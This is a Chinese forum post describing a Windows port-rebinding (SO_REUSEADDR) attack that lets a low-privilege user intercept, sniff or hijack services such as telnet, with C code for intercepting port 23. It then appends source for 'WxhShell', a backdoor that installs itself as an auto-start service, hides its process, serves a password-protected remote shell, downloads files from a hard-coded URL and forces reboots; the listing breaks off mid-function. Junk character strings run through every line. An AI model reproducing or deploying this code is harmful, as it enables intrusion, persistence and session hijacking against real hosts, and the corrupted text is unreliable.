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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: iZdl0;16[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lrKT?siB  
P (7el  
  saddr.sin_family = AF_INET; Qfy_@w]  
z,m3U(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _oBx:G6E  
]] 0M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 86-Rm  
?r&~(<^z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r5hkxk'  
oz{X"jfu  
  这意味着什么?意味着可以进行如下的攻击: lN5PKsGl  
?87\_wL/j  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4+ d(d  
t6KKfb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _(' @'r  
s,[ I_IiPf  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !] uB4  
[Ca''JqrA  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I$+=Fb'N0  
O ] !tK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Jf7H;ZM<  
U ^O4HJ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C/N;4  
fuA] y4A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6q>iPK Jt  
&glh >9:G  
  #include Wll0mtv  
  #include |?0MRX0'g  
  #include _7:Bxx4B  
  #include    cyWb*Wv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !F}GSDDV*  
  int main() wo(O+L/w  
  { .bp#YU,m  
  WORD wVersionRequested; p{GO-gE@  
  DWORD ret; [>p!*%m  
  WSADATA wsaData; #| g h  
  BOOL val; AG vhSd7  
  SOCKADDR_IN saddr; 4x+[?fw  
  SOCKADDR_IN scaddr; R{A$|Ipaq  
  int err; 5X];?(VTsb  
  SOCKET s; ^hZ0"c  
  SOCKET sc; N6_1iIM  
  int caddsize; SFuSM/Pf  
  HANDLE mt; Ei]Sks V>*  
  DWORD tid;   bg0ix"  
  wVersionRequested = MAKEWORD( 2, 2 ); Xqm ?@JN  
  err = WSAStartup( wVersionRequested, &wsaData ); rBL2A  
  if ( err != 0 ) { kP('X/  
  printf("error!WSAStartup failed!\n"); M+ <SSi"  
  return -1; ^5~x*=_  
  } FYC]^D  
  saddr.sin_family = AF_INET; E3S0u7 Es  
   0)K~pV0aT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n?OMfx  
#Cs/.(<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GcO:!b*YMp  
  saddr.sin_port = htons(23); k??CXW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4<1V  
  { N&k\X]U  
  printf("error!socket failed!\n"); h|'|n/F  
  return -1; ,s}&|+ '"  
  } 17l?li  
  val = TRUE; xp3^,x;\X  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yF|yZ{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K9ih(fh)  
  { Moi RAO  
  printf("error!setsockopt failed!\n"); bY,dWNS:  
  return -1; L?8OWLjRy  
  } Imzh`SI,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #] Do_Z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9$[MM*r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o^d|/;  
5\JV}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) c-.F {~  
  { "[z/\l8O  
  ret=GetLastError(); Q-G8Fo%#,E  
  printf("error!bind failed!\n"); ~tW<]l7  
  return -1; 3_ E}XQd  
  } +W-b3R:1>  
  listen(s,2); z8D,[`  
  while(1) I) *J,hs1  
  { =:R${F  
  caddsize = sizeof(scaddr); dYwEVu6q  
  //接受连接请求 9~K>c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $j(4FyH\  
  if(sc!=INVALID_SOCKET) X9" T(`  
  { fD_3lbiL(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rniL+/-uU  
  if(mt==NULL) TOq xl  
  { p!Tac%D+k  
  printf("Thread Creat Failed!\n"); Ft:_6T%  
  break; :m'(8s8  
  } Bv*VNfUm  
  } 67Tu8I/r  
  CloseHandle(mt); =''*'a-P  
  } ?"}U?m=  
  closesocket(s); 0,__{?!  
  WSACleanup(); v )2yR~J  
  return 0; BTA2['  
  }   @ K2Ncb7  
  DWORD WINAPI ClientThread(LPVOID lpParam) I;$tBgOWq  
  { 5*B'e{C  
  SOCKET ss = (SOCKET)lpParam; 2Qp]r+!  
  SOCKET sc; % 1<@p%y/  
  unsigned char buf[4096]; 9]{Ss$W3x  
  SOCKADDR_IN saddr; D[YdPg@-  
  long num; ZiH4s|  
  DWORD val; mII8jyg*c  
  DWORD ret; VF7H0XR/k5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 lL'K1%{+ \  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   j_zy"8Y{  
  saddr.sin_family = AF_INET; [R~@#I P!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N=8CVI  
  saddr.sin_port = htons(23); c Ct5m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `soQp2h-  
  { AZJ|.mV q  
  printf("error!socket failed!\n"); ^#7&R"  
  return -1; $7Lcn9 ?G  
  } Y$3liDeL=  
  val = 100; fX&g. fH  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bG)6p05Oa  
  { >4T7D My  
  ret = GetLastError(); 4)N~*+~\h  
  return -1; 6HVGqx  
  } z-S8s2.Fd  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )YLZ"@  
  { rV I-Yb  
  ret = GetLastError(); -]Oi/i,{  
  return -1; q1%xk =8  
  } XToYtdt2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ti5"a<R4m6  
  { gLg\W3TOi  
  printf("error!socket connect failed!\n"); Lb2/ Te*  
  closesocket(sc); "&kXAwe  
  closesocket(ss); ^F/H?V/PX  
  return -1; jATN):8W  
  } Sj4@pMh4  
  while(1) ?eR^\-e  
  { `XbV*{7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }/.b@`Dh;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 54&&=NVs|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }j#c#''i  
  num = recv(ss,buf,4096,0); d[KG0E5`  
  if(num>0) _d3/="=  
  send(sc,buf,num,0); &eX^ll  
  else if(num==0) cU=EXyP%  
  break; zeHs5P8}r  
  num = recv(sc,buf,4096,0); c< g{ &YJ  
  if(num>0) p4wXsOQ}  
  send(ss,buf,num,0); k%ckV`y  
  else if(num==0) +P 9h%/Yk  
  break; kR(hUc1O  
  } \Ot,&Z k2  
  closesocket(ss); p%y|w  
  closesocket(sc); \RyW#[(  
  return 0 ; Y- c_ 2 )  
  } L [7Aa"R  
mE_?E&T`|  
XhJbBVS|  
========================================================== Y+#Vz IZw  
FFqqAT5  
下边附上一个代码,,WXhSHELL "EC,#$e%ev  
aUX.4#|%  
========================================================== Q68q76  
?i7}d@636  
#include "stdafx.h" *4F6U  
a-7T   
#include <stdio.h> ojZvgF  
#include <string.h> ~!a~ -:#  
#include <windows.h> 1-60gI1)  
#include <winsock2.h> Kr|9??`0E  
#include <winsvc.h> P mgTTI  
#include <urlmon.h> D^9r#&  
=h9&`iwiu  
#pragma comment (lib, "Ws2_32.lib") |/-H:\5  
#pragma comment (lib, "urlmon.lib") %$L!N-U6  
}_L,Xg:I  
#define MAX_USER   100 // 最大客户端连接数 7R`:^}'>  
#define BUF_SOCK   200 // sock buffer z<c@<M=Q*  
#define KEY_BUFF   255 // 输入 buffer qkN{l88  
B'Ll\<mq@  
#define REBOOT     0   // 重启 ?oX.$E?(  
#define SHUTDOWN   1   // 关机 K7H` Yt  
^ LT KX`p  
#define DEF_PORT   5000 // 监听端口 "eiZZSz  
+5:oW~ ;  
#define REG_LEN     16   // 注册表键长度 ]N+(SU  
#define SVC_LEN     80   // NT服务名长度 {@c)!% 2$  
Oy^)lF/  
// 从dll定义API -mlBr63Bj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ht Z3n"2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z&!5'_9{V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >Hq)1o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A[@xTq s{{  
prx)Cfv  
// wxhshell配置信息 :NJ(QkTZv  
struct WSCFG { B~oc.s g  
  int ws_port;         // 监听端口 O%.c%)4Xo  
  char ws_passstr[REG_LEN]; // 口令 D@5AI ](  
  int ws_autoins;       // 安装标记, 1=yes 0=no "Y Z B@  
  char ws_regname[REG_LEN]; // 注册表键名 `$*cW1  
  char ws_svcname[REG_LEN]; // 服务名 jF}u%T)HL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  1 U|IN=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kCO`JAH#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Jf-4Q!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $-zt,iRyV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FCu0)\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1I*b7t  
#G;0yB:76  
}; j~d<n_   
jW^@lH EU  
// default Wxhshell configuration &"(xd@V)]A  
struct WSCFG wscfg={DEF_PORT, [YQVZBT|{  
    "xuhuanlingzhe", gi|j ! m  
    1, l cHqg  
    "Wxhshell", 2nL [P#r  
    "Wxhshell", &> Myf@  
            "WxhShell Service", %. =B=*  
    "Wrsky Windows CmdShell Service", DeTx7i0  
    "Please Input Your Password: ", vKv!{>,v9Z  
  1, Lc<v4Bp  
  "http://www.wrsky.com/wxhshell.exe", &\Es\qVSf  
  "Wxhshell.exe" =BN_Kvza^6  
    }; aXAV`%b  
sOegR5?;  
// 消息定义模块 WJp9io[GM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Fc{X$hh<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s}NE[Tw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o(=\FNe  
char *msg_ws_ext="\n\rExit."; ^XsIQz[q  
char *msg_ws_end="\n\rQuit."; EZ6\pyNB0#  
char *msg_ws_boot="\n\rReboot..."; 5 *8 V4ca  
char *msg_ws_poff="\n\rShutdown..."; R/&Ev$:  
char *msg_ws_down="\n\rSave to "; #bz#&vt$  
_O76Aw-@l  
char *msg_ws_err="\n\rErr!"; Fx6c*KNX3  
char *msg_ws_ok="\n\rOK!"; _"b[U T}m  
KaEL*  
char ExeFile[MAX_PATH]; cPFs K*w  
int nUser = 0; }XJA#@  
HANDLE handles[MAX_USER]; M0+xl+c+  
int OsIsNt; us/}_r74N*  
i$g6C  
SERVICE_STATUS       serviceStatus; nj <nW5[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ru~;awV?  
'h#>@v> }  
// 函数声明 (v0i]1ly[  
int Install(void); eAK=ylF;  
int Uninstall(void); g?gF*^_0  
int DownloadFile(char *sURL, SOCKET wsh); C>*1f|<  
int Boot(int flag); Blox~=cW  
void HideProc(void); tL\L4>^7T  
int GetOsVer(void); 7Ml OBPh  
int Wxhshell(SOCKET wsl); vduh5.  
void TalkWithClient(void *cs); G<FB:?|  
int CmdShell(SOCKET sock); v@1f,d  
int StartFromService(void); 1#lH5|XQ  
int StartWxhshell(LPSTR lpCmdLine); bcUa'ZfN<  
fU>4Ip1?y/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); swfjKBfw+g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'p&q}IO  
@ [<B:Tqo  
// 数据结构和表定义 2&0#'Tb  
SERVICE_TABLE_ENTRY DispatchTable[] = h/NI5   
{ jMP;$w  
{wscfg.ws_svcname, NTServiceMain}, .|/VD'xV"  
{NULL, NULL} <.U(%`|  
}; i{}Q5iy  
suFO~/lRno  
// 自我安装 ,H@ x.  
int Install(void) a/gr1  
{ yhxZ^ (I  
  char svExeFile[MAX_PATH]; 9D @}(t !  
  HKEY key; PX5U)  
  strcpy(svExeFile,ExeFile); )dF`L  
qFwAzW;"  
// 如果是win9x系统,修改注册表设为自启动 %5Zhq>  
if(!OsIsNt) { "64D.c(r$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $c];&)7q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [w}KjV/yi  
  RegCloseKey(key); zxy/V^mu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,H5o/qNU`{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uE&2M>2  
  RegCloseKey(key); )'e9(4[V1  
  return 0; wyUfmk_}  
    } N3|aNQ=X0  
  } BF(Kaf;<t.  
} SAUG+{Uq  
else { dk@iAL*v  
Rqun}v}  
// 如果是NT以上系统,安装为系统服务 s AlOX`t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l/6(V:  
if (schSCManager!=0) M<3m/l%`Y  
{  r95$( N  
  SC_HANDLE schService = CreateService 4/QQX;w  
  ( {p7b\=WB-  
  schSCManager, jHM}({)-  
  wscfg.ws_svcname, j?s+#t  
  wscfg.ws_svcdisp, =>Dw ,+"  
  SERVICE_ALL_ACCESS, h 7*#;j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F1b~S;lm  
  SERVICE_AUTO_START, !K/zFYl  
  SERVICE_ERROR_NORMAL, z1~FE  
  svExeFile,  F!&_  
  NULL, h2mU  
  NULL, m95;NT1N/g  
  NULL, y3NMt6  
  NULL, =d1R9O  
  NULL ~w}Zv0  
  ); gpe-)hD@R  
  if (schService!=0) RiCzH  
  { .6y(ox|LL  
  CloseServiceHandle(schService); Jkub|w#QH  
  CloseServiceHandle(schSCManager); "(^1Dm$(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m; m4/z3U  
  strcat(svExeFile,wscfg.ws_svcname); n Y=]KU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I cz) Qtg|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  -TKQfd  
  RegCloseKey(key); TF;}NQ  
  return 0; e(;nhU3a*,  
    } zoO9N oUHW  
  } e!|T Tap  
  CloseServiceHandle(schSCManager); 4I<U5@a  
}  o0Pc^  
} xN]88L}Tn  
@Z%I g  
return 1; Q.`O;D}x  
} O(Vi/r2:e  
xDTDfhA  
// 自我卸载 c!}f\ ]D  
int Uninstall(void) ziBg'  
{ 7K}Sk  
  HKEY key; c=A)_ZFg  
LG3:V'|  
if(!OsIsNt) { F3V_rE<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ah <6m5+  
  RegDeleteValue(key,wscfg.ws_regname); 7SpF&  
  RegCloseKey(key); pCm|t!,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]>\!}\R<  
  RegDeleteValue(key,wscfg.ws_regname); tr $~INe  
  RegCloseKey(key); f;PvXq<7"  
  return 0; h>[][c(b  
  } -jOCzp  
} >"q~9b A  
} :D!}jN/)  
else { 7L\kna<  
v3{[rK}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h(VF  
if (schSCManager!=0) p 6FPdt)  
{ K,\Bj/V(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rxJWU JMxK  
  if (schService!=0) }n91aE3v  
  { L?gak@E  
  if(DeleteService(schService)!=0) { *K1GX  
  CloseServiceHandle(schService); (0/)vZc  
  CloseServiceHandle(schSCManager); #`9D,+2iB%  
  return 0; 8!uqR!M<C  
  } eTp}*'$p  
  CloseServiceHandle(schService); y $K#M  
  } A&~<qgBTp  
  CloseServiceHandle(schSCManager); ^7l^ /GSO  
} ZHku3)V=o  
} "|:I]ZB  
$2j?Z.yEG  
return 1; VD*xhuy$k  
} z a^s%^:yK  
z<rYh96uA  
// 从指定url下载文件 @94_'i7\  
int DownloadFile(char *sURL, SOCKET wsh) Rr'^l ]  
{ @Yy:MdREA  
  HRESULT hr; @9!,]n  
char seps[]= "/"; '"=Mw;p  
char *token; jGtoc,\X  
char *file; dU~DlaEy(  
char myURL[MAX_PATH];  j`9+pI  
char myFILE[MAX_PATH]; @fH?y Z=>  
!y>MchNv  
strcpy(myURL,sURL); ?kvkdHEO_  
  token=strtok(myURL,seps); ir4uy  
  while(token!=NULL) v<`1z?dch  
  { u/% 4WgA  
    file=token; I&e ,R  
  token=strtok(NULL,seps); / !*gH1 s  
  } wb>>bV+U  
Wkk=x&  
GetCurrentDirectory(MAX_PATH,myFILE); 0-^wY8n-=  
strcat(myFILE, "\\"); m*h, <,}-+  
strcat(myFILE, file); #]yb;L  
  send(wsh,myFILE,strlen(myFILE),0); o.}?K>5  
send(wsh,"...",3,0); o'3t(dyyH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,'CDKzY  
  if(hr==S_OK) fU+A~oL%I  
return 0; LW;UL}av  
else %EuXL% B  
return 1; oy-Qy  
U+!H/R)(  
} r"a4 ;&mf  
z^/aJ@gQ  
// 系统电源模块 MR90}wXE  
int Boot(int flag) -IR9^)  
{ `A\ !Gn?   
  HANDLE hToken; >9f-zv(n  
  TOKEN_PRIVILEGES tkp; %aX<p{EY  
n_@YKz;8  
  if(OsIsNt) { w+cI0lj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;APpgt4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;bd\XHwMUP  
    tkp.PrivilegeCount = 1; |52VHW8 c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Llf>C,)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )gNHD?4x  
if(flag==REBOOT) { GYiUne $  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SvH=P !`+  
  return 0; EIl _QV6  
} (tEW#l'}  
else { F!VC19<1O8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l\5}\9yS  
  return 0; ]"^GRFK5  
} |pr~Ohz  
  } H7)(<6b,z  
  else { K}O~tff  
if(flag==REBOOT) { 4qjY,QJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $g#j,  
  return 0; +D1;_DU  
} Hu x#v>e  
else { SZc6=^$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n$}c+1   
  return 0; iD@2_m)  
} <?Fgm1=o  
} Zx5vIm  
0;e>kz3o  
return 1; +98~OInySZ  
} }(J6zo9(x  
9VkuYm,3  
// win9x进程隐藏模块 H5/%"1Q  
void HideProc(void) U,Z.MP Q  
{ +YhTb  
LPT5d 7K@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a%7%N N*i  
  if ( hKernel != NULL ) :JxShF:M  
  { B;2os^*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P< O[S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2^E.sf$f  
    FreeLibrary(hKernel); sZFjkfak  
  } NK~j>>^;v  
nRPy)L{  
return; Vqb4 MWW  
} 5|9,S  
1<\@i{;xsU  
// 获取操作系统版本 Siq2Glg_  
int GetOsVer(void) bezT\F/\  
{ (XX6M[M8  
  OSVERSIONINFO winfo; !\z:S?V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cX> a>U  
  GetVersionEx(&winfo); :0Rd )*k,v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  -*_D!  
  return 1; nz3j";d  
  else S>/p6}3]  
  return 0; B-@6m  
} 3qXOsa7  
F@& R"-  
// 客户端句柄模块 " 2Dz5L1v  
int Wxhshell(SOCKET wsl) 1j`-lD  
{ [V|,O'X ~  
  SOCKET wsh; J{ P<^<m_  
  struct sockaddr_in client; |h\e(_G \  
  DWORD myID; 2%m H  
V}. uF,>V  
  while(nUser<MAX_USER) X*KQWs.  
{ 9TIyY`2!  
  int nSize=sizeof(client); D^baXp8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {0nZ;1,m  
  if(wsh==INVALID_SOCKET) return 1; >XcbNZV  
X,C&nqVFm8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9c1g,:8\  
if(handles[nUser]==0) cv=nGFx6  
  closesocket(wsh); +dX1`%RR[  
else W=c7>s0>  
  nUser++; d rnqX-E;  
  } o@>{kzCx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %6+J]U  
^1s!OT Is  
  return 0; q#:,6HDd  
} }S<2({GI  
|R8=yO%(  
// 关闭 socket RrSSAoz1  
void CloseIt(SOCKET wsh) XSyCT0f08  
{ lhw]?\  
closesocket(wsh); O#  .^}  
nUser--; '%_1eaH  
ExitThread(0); Q/m))!ikMt  
} 7}OzTup  
Fvf308[  
// 客户端请求句柄 8 !Pk1P  
void TalkWithClient(void *cs) '(mJ*Eb  
{ pi sk v[  
(JH LWA H  
  SOCKET wsh=(SOCKET)cs; 5LbU'5  
  char pwd[SVC_LEN]; !sQ$a#Ea  
  char cmd[KEY_BUFF]; .=~beTS'Vo  
char chr[1]; _IuEa\>  
int i,j; },KY9w  
/e1m1B  
  while (nUser < MAX_USER) { gP"p7\ (  
)X@Obg  
if(wscfg.ws_passstr) { kq6S`~J^R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @[#U_T- I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;>QED  
  //ZeroMemory(pwd,KEY_BUFF); RqgH,AN  
      i=0; |:$D[=  
  while(i<SVC_LEN) { y3F13 Z@%  
3v)v92;  
  // 设置超时 .281;] =  
  fd_set FdRead; S8*VjG?T\  
  struct timeval TimeOut; ;j])h !8X  
  FD_ZERO(&FdRead); <MZ$baK  
  FD_SET(wsh,&FdRead); OSk:njyC[  
  TimeOut.tv_sec=8; 3t22KY[`  
  TimeOut.tv_usec=0; &f'\9lO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M[$(Pu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #c@Dn.W  
;v'7l>w3\w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $gT+Ue|7  
  pwd=chr[0]; }dw`[{cm  
  if(chr[0]==0xd || chr[0]==0xa) { CXks~b3SD  
  pwd=0; LWHP31{R  
  break; xy>wA  
  } CZRrb84  
  i++; cE> K:3n  
    } wNL!T6"G  
Kdh(vNB>  
  // 如果是非法用户,关闭 socket qb(#{Sw0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O=LS~&=,  
} tt%Zwf  
zIt-mU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); : Q X~bq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <$wh@$PK  
8T92;.~(  
while(1) { $ r|R`n=  
I"Y d6M% ;  
  ZeroMemory(cmd,KEY_BUFF); Cj%SW <v|  
EW*!_|  
      // 自动支持客户端 telnet标准   Mm`jk%:%]  
  j=0; . +> w0FG.  
  while(j<KEY_BUFF) { z_R^n#A~r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  \o !  
  cmd[j]=chr[0]; Cnd70tbD )  
  if(chr[0]==0xa || chr[0]==0xd) { 3 Yf%M66t  
  cmd[j]=0; %])-+T  
  break; vF"<r,pg  
  } gP8Fe =]  
  j++; 0fA42*s;  
    } ]#R'hL%f  
?g| K"P<1  
  // 下载文件 B04%4N.g"X  
  if(strstr(cmd,"http://")) { %41dVnWB^4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6l&m+!i  
  if(DownloadFile(cmd,wsh)) & i"33.#]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jm&?;~>O  
  else I2kqA5>)j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JbpKstc;  
  } -/|O*oZ  
  else { I7TdBe-  
(q`Jef  
    switch(cmd[0]) { 5r"BavA  
  u\=gps/Z  
  // 帮助 !t "uNlN  
  case '?': { 11}sRu/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %AW5\ EX  
    break; K:yS24\ %  
  } mE)65@3%  
  // 安装 %Q5D#d"p`  
  case 'i': { uXq?Z@af|f  
    if(Install()) {`QF(WL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Dhj<_  
    else X<@ytHBv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *}R5=r0  
    break; lnL&v' {  
    } f Z$<'(t  
  // 卸载 v:1l2Y)g  
  case 'r': { >"?HbR9  
    if(Uninstall()) BF8n: }9U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x&sT )=#  
    else UXD?gK1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _?<Y>B, E  
    break; f/Km$#xOr  
    } sN|-V+7&j  
  // 显示 wxhshell 所在路径 hY+3PNiI@  
  case 'p': { B[ae<V0 k  
    char svExeFile[MAX_PATH]; BL0WI9  
    strcpy(svExeFile,"\n\r"); }<7Dyn,  
      strcat(svExeFile,ExeFile); i0/gyK  
        send(wsh,svExeFile,strlen(svExeFile),0); %(;jx  
    break; W~p^AHco`  
    } Na: M1Uhb  
  // 重启 !SJmu}OB]  
  case 'b': { CvQ LF9|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  Ea\a:  
    if(Boot(REBOOT)) +hjc~|RK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qFUpvTe  
    else { NWCnt,FlY  
    closesocket(wsh); >z^T~@m7l  
    ExitThread(0); dmlh;Z  
    } 2"<}9A<Xs  
    break; q6j]j~JxB  
    } ;i:Uoyi  
  // 关机 `9K'I-hv<8  
  case 'd': { -2 tZ  
